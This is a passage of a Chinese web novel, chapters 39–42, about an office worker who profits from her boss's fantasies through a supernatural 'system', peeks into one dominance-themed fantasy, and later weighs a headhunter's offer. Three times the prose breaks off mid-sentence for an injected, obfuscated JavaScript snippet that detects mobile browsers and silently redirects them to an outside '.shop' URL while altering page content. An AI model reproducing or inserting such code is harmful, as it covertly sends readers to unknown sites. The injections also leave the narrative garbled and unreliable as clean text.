她却假装对他的剧烈反应毫无所觉,甚至将身体又向他那边不着痕迹地倾近了半分,拉近了那本就危险的物理距离。 目光落在他紧抿的唇上,语气轻柔得像在哄劝,又带着些上位者式的关怀: “三十岁了,不再是小孩子了。” 她的声音压得更低,几乎成了气音,带着一种亲昵的责备,和一丝若有似无的狎昵的暗示:“晚上,要记得早点休息。” 39. 猜想 派对结束后,人群散去得很快,而许知微起身时,苏清妍正好站在玄关附近,妆容依旧无懈可击,只是眼底那份游刃有余淡了些,取而代之的是一种饶有兴味的打量。 “加个微信?”苏清妍笑着举起手机,是社交场上再标准不过的收尾动作。 许知微尚未来得及回应,一只大手已先一步,带着不容置疑的力道,横亘在她与那部手机之间。 “不用。”程迦的声音从她侧前方传来,不高,却异常笃定,甚至带着一丝不易察觉的紧绷,“她工作忙,不太加无关的人。” “无关的人?”苏清妍眉梢微扬,似笑非笑的目光在他脸上停留了一瞬,随即转向许知微,笑意未减,却多了几分意味深长,“好吧,那,改天。” 许知微什么也没说,只回以一个恰到好处的颔首。 回到自己公寓时,天色尚明。 她换下沾染了烟酒气息的衣裙,给自己倒了杯温水,刚在书桌前坐下,系统的提示音便毫无预兆地响起。 【幻想输入确认。】 【来源:程迦。】 她盯着意识中那行跳动的字,面无表情地将水杯稳稳放在桌面上。 “这么早?”她低声自语,语气里没有惊讶,如同看着一条早已被标记的K线,果然按照预期的轨迹,再次向上延伸。 她没有点开查看。只是将提示最小化,仿佛那只是一个无关紧要的弹窗,然后继续专注于整理周一会议的材料。 半小时后,PPT的逻辑框架刚刚理顺,系统提示再次亮起。 【幻想输入确认。】 【来源:程迦。】 她移动鼠标的手指微微顿了一下,随即流畅地继续拖动页面,眼神未曾离开屏幕。 又过了一会儿,放在一旁的手机轻轻震动,是林芮的消息。 也是同时,脑海里的系统提醒再次响起。 【幻想输入确认。】 【来源:程迦。】 一次。 又一次。 像某种失去了节律的心跳,不厌其烦地敲打着寂静的边界。 而她,只是冷静地将每一条提示归档。 傍晚时分,窗外的光线逐渐沉入暖金色。她合上电脑,靠向椅背,长长地吁出一口气。 系统界面在意识中展开,累积的数字已然攀升到一个令人咋舌的高度。 “快两百万了吧。”她语气平静,甚至带着点核算成本收益时的轻松,“可怎么还没到账?” 【大额结算存在合规延迟。】 【系统正在匹配最优路径。】 “最优路径?”她轻笑一声,带着点漫不经心的调侃,“那我去买张彩票?直接中头奖,岂不是最合规?” 【可以尝试。】 【但不保证这是最终结算方式。】 “行。”她无所谓地耸耸肩,“反正我不急。” 这句话是真的,在等待金钱的落袋为安上,她有着超乎寻常的耐心。 夜色彻底吞没天光时,系统界面悄然浮现出一行醒目的红色倒计时。 【系统剩余有效时间:00:30:00】 主控的声音罕见地放缓了节奏,带着一丝告别的意味。 【是否需要最后神游幻想内容?】 许知微几乎是条件反射地摇头。 “不用。”她回答得斩钉截铁,像是在提前为自己筑起一道坚固的心理堤坝,“我是来赚钱的,不是来走心的。” ——看自己如何被当别人的替身发泄。 ——没有这个癖好。 ——若不是为了钱,谁稀罕被当成复制品? ——老娘天下独一份好么? 她停顿了半秒,仿佛是为了压下心头那点突如其来的混合着厌恶与不甘的暗流,又轻飘飘地补上一句,语气刻意显得更加疏离和满不在乎: “也不是来走肾的,尤其不想看别人的代餐剧情。” 【确认,准备删除所有幻想记录。】 倒计时的数字无声跳动,每一秒都在剥离这个超现实工具与她最后关联。 窗外的城市点亮万千灯火。 她起身,为自己续了第二杯水。 再回来时,倒计时已无情地跳向最后十分钟。 主控发出最后一次询问,语气里那点程序化的关怀,甚至有些人味: 【系统即将永久关闭。】 【最后一次确认:是否神游幻想内容?】 ——不要看。 ——钱都赚到了,还管别的做什么。 ——可…… 下午那一幕毫无预兆地撞回脑海,派对散场时,程迦挡在她身前的略显僵硬的背影。 理性在耳边清晰地低语:到此为止,是最完美、最安全的谢幕。更何况,去看那些可能印证自己替身身份的幻想,无异于自取其辱。 可是另一个更难以言喻的念头,压过了那点不甘与抵触,悄然浮出水面。 ——万一呢? ——万一那些幻想里,有哪怕一丝一毫,是真正指向许知微本人的呢? ——自己跟他共事那么久,就一点个人魅力影响都没有么? 这个念头危险而蛊惑。 她甚至没有意识到,此时的她,变得不像她了。 她重新坐回椅中,闭眼,带着一种破釜沉舟的意味。 “就看一个吧。”她说,声音平静,却比之前多了一丝不易察觉的紧绷,“偶尔也走个肾。” 【请选择幻想来源,以及时间节点。】 她没有犹豫,“程迦,最近的。” 【确认。】 【正在接入——】 世界在她意识深处,仿佛被轻轻抽走了一层底噪,骤然沉入一片静谧的黑暗。 她不由自主地,屏住了呼吸,意识下沉的瞬间,进入一片并非完全的黑暗,而是被朦胧的暖色光晕包裹。 许知微“看”见了,场景模糊,像是一个房间,空气黏稠温热,光线昏黄暧昧,仿佛夕阳最后一丝余烬被锁在了室内。 然后是触觉,细腻的丝绸绑缚着手腕的触感,丝绸的末端,却是在自己手里,好似牵狗的狗绳。 然后是听觉,一种沉重而压抑的呼吸声,近在咫尺,滚烫地拂过她的耳廓。 她终于完整地看到了自己,或者说,是程迦幻想中的自己。 那个“她”正以一种绝对掌控的姿态,半跪在程迦上方。长发垂落,挡住了大部分光线,只勾勒出一个极具侵略性的剪影。 而程迦—— 许知微的睫毛轻微震颤了一下。 他正仰躺着,闭着眼,睫毛在苍白的脸颊上投下浓密的阴影。 他的姿态是全然放松的,甚至可以说是献祭般的顺从,唯独脖颈上那里绕着一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284734|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色的皮质项圈,样式简洁,却在昏黄光线下折射出冷硬的光泽。 一条细链从项圈前端延伸出来,末端缠绕着丝绸,松松地握在她的手中。 他的喉结在项圈的束缚下,随着吞咽艰难地滚动。 一种极其矛盾又无比契合的意象:绝对的臣服,与因此被濒临失控的侵略性。 ——这个画面?! ——这个氛围?! ——这种强弱倒错中蕴含的极致张力?! ——怎么能如此精准地踩中了自己所有不为人知的偏好?? 那被束缚的脆弱感,那交付一切的信任,那在被动中反而汹涌澎湃的暗流。每一处细节,都像一把钥匙,轻而易举地打开了她内心深处连自己都未曾完全探索的锁。 ——他,怎么会知道? ——他怎么可能,幻想出完全符合她隐秘渴望的场景? 惊疑如同冰水,试图浇灭那被同步点燃的陌生的兴奋感,但后者来势更汹汹,几乎与她作为观看者的理智分庭抗礼。 她能清晰感觉到幻想中那个自己的指尖,正顺着程迦绷紧的胸膛线条缓缓下移,能感受到掌心下肌肉的细微战栗,能感受到空气中弥漫的令人头皮发麻的期待与煎熬。 然后,“她”换了一个动作。身体微微前倾,调整了角度,以一种更绝对、更具占有意味的姿势,彻底覆盖了他。 ——这个姿势!!! 许知微的呼吸猛地一滞。 这是她曾经在某个深夜,对着“走leetcode”的直播画面,悄然升腾起的属于她自己的幻想画面。 她幻想过自己处于这样的位置,掌控一切,而他就像此刻幻境中一样,仰视,承受,沉沦。 时间仿佛在神游的空间里凝固了。 巨大的惊骇与一种肾上腺素飙升的快感,如同两股相悖的洪流,猛烈地撞击着她的意识。 ——怎么可能?! ——她的幻想,怎么会出现在他的幻想里?! ——除非…… 一个荒谬绝伦,却在此刻所有离奇线索面前显得无比合理的猜测,骤然照亮了她混乱的思绪。 ——难道……程迦跟自己,天生那方面合拍? ——难道……程迦知道她在看“走leetcode”的直播? ——难道…… ——难道……程迦也绑定了幻想系统? ——我在乱想什么呢?猜也要有依据可言啊! ——啊! ——爽! 神游的幻境似乎感应到了她大脑的剧烈震荡,开始变得不稳定,光影晃动,感官模糊。 在最后一丝清晰的感知被抽离前,许知微看见幻想中的那个自己,俯下身,嘴唇贴近程迦被项圈束缚的脖颈,用气声说了句什么。 而程迦紧闭的双眼骤然睁开,眼底是一片被欲望烧透的、全然失控的赤红,里面清晰地倒映着自己的影子—— 是许知微她自己。 下一秒。 【神游结束。】 冰冷的系统提示音将她猛地拽回现实。 许知微仍然坐在书桌前,手指因为兴奋,紧紧抠着桌沿。 房间里一片死寂,只有她自己狂乱的心跳声,在耳膜里鼓噪如雷。 窗外的霓虹不知疲倦地闪烁,倒计时早已归零。 而系统,彻底关闭了。 40. 心跳 周一的会议室,灯光冷白,许知微站在投影幕前,将报告一页页平稳翻过,声音清晰,逻辑分明。 “目前这个模块的阻塞点在接口权限,我已与基础设施团队确认,今天下午会发放临时token,最迟明早可以解封。” 她略作停顿,目光沉稳地扫过与会者,“如果没有其他外部依赖,这一块可按原计划推进。” 无人提出异议。 她顺势补充了风险评估,收尾干净利落。 汇报结束。 按理说,她此刻应该暗自松一口气,落座,等待会议流程走完。 可她的视线,却像被什么无形之物牵引,不受控制地偏向了会议桌最上首的位置。 程迦。 他与往常并无二致,姿态松弛地靠在椅背里,指间正漫不经心地转着一支黑色的签字笔。笔身在他修长而骨节分明的手指间来回滑动,动作不快,带起几乎听不见的细微摩擦声。 他微微垂着头,眼镜有些反光,神情专注,仿佛在深思她方才汇报的每一个细节。 一切看起来都与往日一般正常。 如果是昨天以前,许知微看到这幅景象,脑海中大概只会闪过一个念头:完了,周扒皮又在琢磨怎么挑刺了。 可此刻,她的大脑,毫无预兆地,展开了私人联想。 眼前的画面,像被某种不可抗的力量,粗暴地覆盖上了一层不该存在的幻影。 那支冰冷的金属笔杆,在她眼里悄然扭曲变形,被替换成了另一种物体,在昏沉暧昧的光线下,闪着魅惑光泽的项圈,垂落的细链末端,轻轻晃动的金属扣。 然后他被迫仰起头,喉结在那一圈束缚下,艰难而缓慢地上下滚动。 ——狗链,还挺适合他的。 这个词一旦成形,便如同病毒般疯狂扩散,瞬间击穿了她脱轨的思绪。 甚至连程迦何时停下了转笔的动作,何时抬眼看向她,她都浑然未觉。 “许知微。”他的声音在寂静的会议室里响起,可她没有反应。 “许知微。”第二次呼唤,已经有人下意识地将目光投向她。 她这才猛地回神,被骤然拽出联想,连忙下意识答道。 “……在。”应声慢了半拍,带着一丝不易察觉的虚浮。 程迦的目光落在她脸上,眉心微微蹙了一下,张口再次问道。 “你刚才提到的回滚方案,再详细阐述一下后备选项。” 周围的目光还在聚焦。 许知微几乎是凭借着肌肉记忆和职业本能,迅速将脱缰的思绪拉回,条理清晰地补充说明,将那一瞬间的恍惚掩盖过去。 几分钟后,讨论终于收尾。 “就这样定。” “各自跟进。” 椅子挪动的声音陆续响起,人们收拾电脑,低声交谈着向外走去。 会议室很快空了大半,只剩下她,以及坐在上首,似乎还没有起身打算的程迦。 她本该立刻跟着人流离开,脚步却迟疑了。 她站在原地,假装低头整理手边其实早已整齐的文件,大脑却在高速运转。 ——要不,现在问? ——不妥。 ——“你有没有绑定幻想系统”这种问题,哪怕包裹上再委婉的措辞,听起来都像精神失常。 ——怕是又要被他调侃“喝多了说胡话”。 她迅速在脑中否决了几个试探方案。 ——你最近会听到别人听不到的声音么? ——太刻意,像恐怖片开场。 ——你做擦边主播是为了用幻想值换钱么? ——那他不就知道我是他擦边号老粉了? ——干脆直接问:你知道‘微微不微’就是我么? ——呃,为啥感觉有些恶心呢? ——算了,来日方长,总有机会侧面打探。 或许这不同寻常的细微拖延,让程迦敏锐地察觉到了。 他合上手中的文件夹,抬眼看她,语气是一贯的平静,听不出情绪: “昨晚没休息好?” 这句话,落在此刻仅有他们两人的空旷会议室里,听在她耳中,却像被刻意压低了音量,以及昨夜那片混乱迷离的幻境里,幽幽延续出来的一丝关心。 她下意识地心虚地蜷缩了一下手指。 “嗯。”她点头,迅速为自己划清安全距离,“可能有点累。你呢,程总?” 习惯性的反问,脱口而出的瞬间,她就后悔了。 ——问他这个干嘛?? ——他昨晚有没有睡好,自己难道不是最清楚的那个吗?! ——连续两个晚上高强度的精神劳作,能休息好才是见了鬼了。 果然,这句话像一个放大器,连会议室中央空调持续送风的低鸣,都在这一刻变得异常清晰。 连程迦都明显怔住了。 他顿了一下,然后,极轻地点了点头。 “……嗯,睡得还行。” 声音很轻,几乎揉碎在空气里。 下一刻,他像是忽然意识到了什么,原本平静的侧脸线条微微绷紧,耳廓以肉眼可见的速度,慢慢浮起一层极淡的薄红。 他低下眼,手中那支刚刚停下的笔,无意识地又转动了一下,随即被他紧紧攥住。 然后,他用一种低得近乎含糊的音量,补了三个字: “我……听话。” 那三个字,轻飘飘地落在空旷的会议室里,却在许知微的脑海中,掀起了核爆般的轰鸣。 血液仿佛瞬间逆流,一股脑地冲向头顶。耳边响起尖锐的耳鸣,脸颊不受控制地发烫,心跳彻底失了章法,在胸腔里横冲直撞。 昨夜神游中那些破碎却炙热的画面,连同他此刻低眉顺眼说出听话的模样,交织在一起,形成一股强大的反噬力,几乎要将她吞没。 她先站不住了,几乎是手忙脚乱地开始收拾笔记本电脑和文件,只想立刻逃离这个空间。 逃避可耻,但有用。 “等一下。”可程迦的声音从她身后传来,恢复了惯常的冷静音色。 她停下动作,却没有回头,背脊微微僵硬。 “昨天的蛋糕,”他语气平稳,听不出波澜,“多少钱?” 她一愣,停住了脚步。 “……啊?” “蛋糕。”程迦重复,声音清晰,“你买的那个。” 许知微报出一个数字,完全是条件反射,没带任何思考。 下一秒,握在手里的手机震动了一下。 微信转账提示弹了出来。 是程迦发来的。 金额,正好是那个数。 她下意识蹙起眉,终于转过身看向他: “不用付钱。” “你过生日,那算我送你的。” ——这是实话。 ——用一百万先生贡献的巨额幻想值中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289254|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的九牛一毛,买个蛋糕聊表谢意,本来就没打算让他还。 ——哦,对了,现在不是一百万先生了。 ——是接近两百万了。 ——或许周扒皮该改名叫……一夜一百万先生? 许知微正胡思乱想着,没注意程迦看了她一眼。 嘴角,几乎是难以察觉地,向上牵动了一下 虽然不是一个明显的笑容,但那细微的弧度,还是被她精准捕捉。 ——又是这要笑不笑的样子。 ——准没憋好屁。 然后,许知微听到他语气平淡地开口说道: “哦。” “那你现在,就没送过我生日礼物了。” 许知微:“……” ——果然。 ——不仅没憋好屁,还有病。 ——钱是你非要给的,现在又说我没送? ——虽然改名一夜一百万了,但这难以捉摸的性子依旧没变。 ——还是幻想里的样子可爱一点,笨拙却认真。 ——人怎么能表里这么不如一? ——等等…… 她突然有个猜想,一个或许又是自作多情的猜想。 若是以前,她是肯定懒得去探究这个猜想的。 但是眼下。 她最终还是抬起眼,试探性地问道:“那……程总。” 语气里,不自觉地带上了点恩赏味道。 “你有什么,想要我送你的生日礼物吗?” 这句话说出口的瞬间,她自己都清晰地感觉到了一种危险的偏移,这不再是下属对上司的客套。 但或许,这就是他的本意? 果然,程迦的神情,以肉眼可见的速度,松弛了一点点。虽然依旧没什么表情,但那双总是显得过于冷静的眼睛里,似乎有极微弱的光亮了一下。 他点了点头。 “有。” 她闻言心头一紧。 ——妈耶,还猜对了。 ——这一夜百万先生也太含蓄了吧? “什么?”她追问了一句。 “四川路新开的那家早茶店,”他说,目光平静地看向她,“也开了差不多一个半月了。” 她几乎是没有任何停顿,接了上去: “好。” “等有空,我请你吃。” ——多大点事儿啊,不就是吃个早茶么? 程迦没再说话,只是低下头,重新翻开了手边那份文件夹,眼镜反光,看不清眼底的神色。 然后,轻轻地,应了一声: “……嗯。” 她站在原地,看着他又恢复到那副专注工作的模样,心底莫名冒出一丝成就感。 这个认知,像一颗微小的糖粒落进心湖。没有浓烈的甜腻,只有一丝清浅的、却真实存在的回甘。 细小,隐秘,却足以让心跳的节奏,又乱了几拍。 ——好想揉揉他的头。 这个念头刚浮出水面,她自己就先起了一身鸡皮疙瘩。 ——啊? ——啊??! ——那是周扒皮诶! ——是你上司! ——又不是你养的狗! 然后她几乎是逃也似的,抱着电脑和文件,转身快步跑出了会议室。 身后,是依旧秩序井然的职场空间。 而她的心跳,却在胸腔里,失了控般地疯狂地鼓噪着。 41. 还未开始的结束 程迦最近非常迷茫。 这三个月的,零碎的细节,被他反复咀嚼,拼凑成了一个诱人又不真实的图案。 他觉得,他和许知微,在暧昧。 这个判断,是建立在一系列清晰具体,且不断在现实中得到积极回应的证据链之上的。 最初是旧金山酒店电梯里的询问,“你是不是喜欢我。” 再到,她分明推演出自己就是“走leetcode”,却不揭穿。 然后是跟林芮他们的四人约会,他坦白十三年,纠正了之前的失误。 可是,她却退后了。 但他被勾引起的欲望,驱使自己踏进她的私人边界,都被她不着痕迹地拒绝。 接着,便是上天给的机会,刘凯的婚礼,他坐她身旁。 可是…… 他表现得太差了。 怎么可以那么差。 在脑海里反复演练过的成熟稳重,怎么实操成那样的饥渴? 然后,他习惯性地躲回了自己的安全边界。 系统即将到期,他告别了“走leetcode”这个身份,也告别了无时无刻勾引自己欲望的她。 可谁知,她进来了,带着生日蛋糕,进到了自己的私人领域。 她想要参加自己的生日派对,虽然完全脱离他的设计,他也不想让她看到自己这如坐针毡的社交圈。 可当她用那双清澈而笃定的眼睛看着他,问询他意见时:“我可以参加你的生日派对吗?” 他怎么可能拒绝得了? 事实如他所料,哪怕她只是安静地坐在角落,哪怕他们之间没有过多交谈,但仅仅是她的在场,对他而言,就是一种无声却强大的支持,一种将他从冰冷社交泥沼中打捞起来的温柔同盟。 他喜欢这种安全感。 这六年,每次因为工作,被迫面对束手无措的社交时,都是因为她在场,才撑了下去。 好希望,以后每次社交,都能有她在。 如果更贪心点,希望包括,非工作社交。 接着,是会议室里那惊心动魄的失神。 那是他第一次,在她脸上,看到因为凝视他而导致的失焦。 终于被自己吸引了么? 他想要这样猜想,可是理智告诉他别这么乐观。 过去六年每次他的主动开屏,那次不是被她温柔又礼貌地打回来? 可是,万一这次不一样呢? 哪怕有万分之一的可能性呢? 他真的要为了自己所谓的自尊心,永远都不再试探一下了么? 所以没忍住,他又试探了一次。 ——这次果然不一样! ——她竟然回应了! ——她还主动问自己,有没有什么想要的!!! 六年了,从他第一次试探到她真的回应自己,整整六年了。 功夫不负有心人,他终于得到了一次回应。 然后,他提出了新开的早茶店。 她答应了。 虽然还是模糊的“等有空”,但对他而言已经是极大的进步。 若真的等她有空了,这次,怎么都可以算得上是,正式约会了吧? 一个只属于他们两个人,可以安静相处的,纯粹的约会。 想到这里,他向后靠进宽大的办公椅,手中那支转了一上午的笔,终于彻底停了下来。 嘴角上扬到肌肉僵硬都毫无察觉,晕眩又愉悦,如同暖流,从心口最深处汩汩涌出,蔓延至四肢。 这次,应该不再是自己自作多情了吧? 对,不是,他觉得自己此刻异常清醒,异常理智。 他再次审阅了所有证据: 如果她对他无意,她不会费心记住一个普通上司的生日,并送上私人礼物。 如果她对他无意,她不会在他尴尬的社交场合,选择留下与他共同面对。 如果她对他无意,她不会在严肃的工作会议上,对他流露出那种失神的凝视。 如果她对他无意,她更不会如此干脆地,答应与他进行一场私人性质的、由她买单的邀约。 逻辑完美闭环。 证据环环相扣。 推论合理严密。 结论,毋庸置疑。 嘴角像压不住的跷跷板,上去后就再没下来过。 程迦第一次,毫无保留地允许这个甜蜜的结论占据他的全部思维,不再进行任何下意识的自我质疑与打压。 他甚至开始期待,并规划起下一步完美的约会,挽回他之前步步失分的形象。 早茶店要选靠窗的卡座,阳光要好,但不能太刺眼。时间就定在不太忙的周六上午,人不会太多,可以坐得久一些。 她口味偏清淡,点单时要避开太甜腻的糕点,虾饺和流沙包应该是安全的选择。 如果她愿意,餐后可以沿着附近的林荫道慢慢走一段,不需要刻意说什么,只是并肩走着就好。 或者找个热闹的游乐场,他太无趣了,周围人多,她也不会觉得闷。 要不要再重新表白一次呢? 上次的表白,总觉得不够正式。 毕竟是被林芮逼问出来的,他毫无准备。 可他们之间的关系,已经在这些无声的默契与靠近中,悄然开始了。 他真的需要再表白一次么? 这个问题,让他难得地在堆积如山的文件前,走了长达数小时的神。 可嘴角那抹笑意,久久未曾散去,好似被刻在了脸上。 ——所以,恋爱是这样悄然发生的。 ——安静,自然,水到渠成,甚至带着一点命中注定的理所当然。 ——倒也挺好,反正只要是她,怎么开始都好。 ——三十岁生日之后,失去了那个作为安全出口的幻想系统,好像,也并不是什么坏事。 ——因为真实的许知微,正在一步步,走进自己的生活。 ——而且,是以一种比自己最大胆的幻想,还要美好一万倍的方式。 * 第二周周四的午休,程迦照例在公司后楼那道狭窄僻静的消防楼梯跑步。 他偏好这里。 环境封闭,脚步声在混凝土墙面间规律回响,只要维持呼吸和步频,一切杂念都能被轻易压平。 直到在拐角的平台,他听见了许知微的声音。 他的脚步几乎是条件反射地慢了下来。 心率还在因为运动而上升,胸腔起伏清晰,可身体却先于理智做出了反应。 落脚变轻,节奏被打乱了一拍,鞋底与台阶的摩擦声被他刻意压低。 她站在下一层的平台,背对着他,手机贴在耳边。语气比平时松弛一些,却依旧克制清晰 “嗯,薪资这块我确实考虑过。” “现在的项目阶段很关键——我在评估风险。” “团队氛围很好,但职业路径需要更清晰的规划。” “薪资结构还有调整空间吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298603|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我更倾向于拿股权大头。” 楼梯间的回声不算大,却足够将那些字句完整地托上来。 程迦停在了原地。 呼吸因为之前的跑步略显急促,他下意识地想调整,却发现自己没能立刻压平那口气,胸腔里像卡着什么。 他知道偷听,很卑鄙。 可脚步像被钉在了台阶上。 ——对方,是猎头么? 那套专业术语,那种带着评估与博弈意味的应答方式,他再熟悉不过。 ——她,在考虑跳槽? 这个判断浮现得异常迅速。 而真正让他心口发紧的,并非公司可能失去核心成员这种管理者层面的理性判断,而是另一个更私人的疑惑,她要走了? 如果她不再每天出现在那间会议室,不再在他视线所及的范围内。 如果那家早茶店的约定,还没来得及兑现,她便离开了,去了他再也没有立场询问的地方。 他该怎么办? 这个念头刚成形,就被他下意识地否定了。 ——不会的。 ——她答应了的。 ——离职或许只是别的考虑,不是不要他了。 ——对,不是不要他了。 ——不是不要他了吧? ——不会不要他了吧? ——他们,才刚刚开始啊。 可就在否定的瞬间,他忽然意识到一个让人不太舒服的事实,这个开始,从头到尾,似乎只是他一个人的默认。 她从未说过她也喜欢他。 他也从未真正问过。 为什么呢? 害怕。 毕竟没人能拒绝一个从未开口的人。 此刻,她的声音再次从下方传来,语速平稳,带着深思熟虑后的笃定: “薪资不是唯一考量。” “我更看重成长空间和决策参与度。” “如果有更具体的方案,可以再聊。” ——看吧,不是因为他。 ——只是有了更好的机会而已。 ——规划她更好的未来,罢了。 可在他胸口积成一种迟滞的闷,像被什么无声地按住了。 ——她在规划未来。 ——这个未来里,是否有他的位置? 楼下许知微的电话似乎接近尾声。 “好,我等您消息。” “谢谢。” 通话结束。 她轻轻呼出一口气,准备离开。 程迦的理智应声恢复。 他迅速抬脚,刻意加重了落地的声音,让脚步重新变得清晰而有节奏,制造出刚刚跑到这里的假象。 楼梯间再次回荡起规律的回声。 许知微离开的脚步果然被惊动,回过头来。 两人的视线在转角处短暂相撞。 她似乎愣了一下,随即自然地笑了笑:“这么巧。” “嗯。”他点头,语气平稳无波,“跑步。” 没有多问。 没有试探。 没有暴露那几分钟的停滞。 他从她身边跑过。 擦肩而过的瞬间,那缕熟悉的香气钻入鼻腔。 心率监测表在腕表上短暂地乱了一下节奏,又很快被他强行压回正常区间。 身体继续按照既定轨迹奔跑,可思绪却已彻底偏离了轨道。 ——他,可以不让她离开么? 42. 欲望结算 许知微在之后的一整周里,进行了一场实验。 每个深夜,当万籁俱寂,她便将自己沉入意识的深海,开始精心构建一幕只属于她和程迦的幻境。 而她幻想的对象不再是虚拟的“走leetcode”,而是那个真实存在于她生活中六年、冷静自持、连领口扣子都一丝不苟的程迦。 宽大柔软的床榻上,她的指尖成为画笔,指腹从程迦微微滚动的喉结出发,沿着颈侧那道绷紧的筋络,极缓地向下游走。 她能感受到他皮肤的温热,以及皮下血液奔涌带来的细微搏动,那触感真实得让她自己头皮都泛起酥麻。 指尖最终停在那颗紧扣的衬衫纽扣上。 她不疾不徐,只用施加一个持续而暧昧的压力,动作在这里停止。 幻想中的程迦,安静地仰躺,没有抗拒。他的呼吸在她的触碰下变得深长沉重,胸膛随之起伏。 他的目光越过她望向虚空,眼底翻涌着从未在她面前袒露过的暗潮。 一种掌控全局的欢愉,在此刻悄无声息地笼罩了她。 她享受着这份由她完全主导的亲昵,享受着他在这虚构世界里因她而起那无法掩饰的反应。 为了加码,她还会俯下身,将唇贴近他的耳廓,气息温热,声音带着被这亲密蒸腾出的微哑: “程总——” 她让声线里裹上一丝恰到好处的蛊惑。“如果你真能看见这一切……” 气息若有似无地拂过他耳畔最敏感的地带。 “那就来找我,亲口告诉我。” 她将诱饵抛下,声音轻得像叹息,却又重如承诺:“……我们,来把梦里没做完的,继续下去。” “在现实里。” 最后这话随着这个无限接近吻下去的悬停画面,被一同发送出去。 然后她抽离意识,睁开眼,望着黑暗中的天花板,心跳失序,屏息等待着可能响起的门铃或讯息。 十分钟。 二十分钟。 一小时。 今夜,依然寂静无声。 “……难道真是我多想了?”她低声自语,却并未死心。 接下来的几天,她并未放弃,持续加码。 幻想中的试探变得更具侵扰性,她会刻意拉近彼此的距离,让气息纠缠他的耳廓,将那重复了无数次的指令,一字一句,缓慢地送入他可能存在的感知里。 有时则更为直接,在虚构的场景中,她会让幻想里的程迦直视自己,要求他给出一个清晰完整的答复。 可依旧一无所获。 后来,她开始逐步在现实里试探。 周一下午,她端着咖啡,状似无意地停在他工位旁,语气轻快随意:“程总,平时……会做梦吗?” 程迦拿着咖啡杯,抬眼,神情没有丝毫涟漪:“不算多。”回答干脆,听不出任何弦外之音。 她微微颔首,不着痕迹地换了个角度:“那会不会……偶尔做那种醒来还历历在目的梦?特别清晰的那种。” 他略作停顿,语气依旧平稳:“偶尔。”正常得无懈可击,没有一丝她所期待的被窥破秘密的波动。 她仍不甘心。 周二下午的茶水间,余光瞥见他的身影走近,她便佯装随意地向身旁同事抛出问题:“说起来,你们觉得——人做的梦,有没有可能被另一个人看见?” 程迦恰好走到她身侧。 他叫了她的名字,眉头却微微蹙起,语调带着工作被打断时特有的严肃:“许知微,回测数据那么难看,还有闲心想这些?”那眼神清明、理智,甚至带着一丝对她不够专注的责备。 ——好吧。 ——或许真的是自己猜错了。 ——真的只是碰巧跟他,在x癖合拍而已? ——也是。 ——幻想系统这么玄乎的东西,要是人人都有,钱都不够分了。 这个结论让她连日来紧绷的神经为之松懈。 可随之而来的,还有一阵难以言喻的、空落落的失重感,仿佛一脚踏空。 许知微的注意力很快在周三下午从程迦身上挪开。 因为一封来自某全球顶尖科技公司的邮件,标题简洁:“TechLeadOpportunity|Confidential”。 邮件内容也很直接,预计薪酬总包高达两百万。 ——有些凑巧了。 ——跟自己现在的薪酬总包差不多。 ——只是别人给的是上市公司的股票,可以变现。 ——自己拿的是原始股,纸钱。 ——等等…… ——如果没记错,幻想系统还欠自己两百多万。 ——不会,就是这个吧? 大脑几乎是本能地开始了财务演算,最终得出的净收益,与她从程迦那里获得的幻想值,确实精确地重合了。 她盯着屏幕,久久未动。 没有预想中的狂喜,仿佛有个声音在耳边低语:看,即便没有那些虚幻的系统馈赠,你凭自己,也早已站在了足以触及这个高度的位置。 ——所以幻想系统,到底带给自己什么呢? ——另一个高薪牛马岗位? 她一边想着,一边向后靠进椅背。 窗外的暮色正一寸寸吞噬天光。 程迦的身影却毫无预兆地撞入脑海。 会议室里他转笔时修长的手指,说听话时那一闪而过的耳根薄红,认真考虑早茶店座位时微垂的侧脸,婚礼上恨嫁的抢捧花,以及那个曾让她灼热的神游夜晚。 ——我在干嘛? ——他的事儿跟我有什么关系? ——除了x癖那个,剩下的,我就是个路人甲。 ——要不要离职这事儿,只跟钱,跟机会有关系。 ——我考虑他干嘛? ——难不成把上司一起挖过去,还能给我提成啊? ——不对,这公司就是程迦开的。 ——能跟我一起跑路才有鬼了。 她深呼吸了几个回合,让大脑把没用的画面清理干净,终于找回了自己的状态。 面对这份足以撬动未来轨迹的机遇,她移动鼠标,点击了确认回复的按钮。 预约好第一轮HR电话面试的时间后,她抬起手,用微凉的掌心,轻轻覆住了自己的眼睛。 黑暗中,心脏在掌下传来一声清晰又带着奇异释然与崭新悸动的搏动。 * 正式面试的过程,比她预想中更考验心跳。 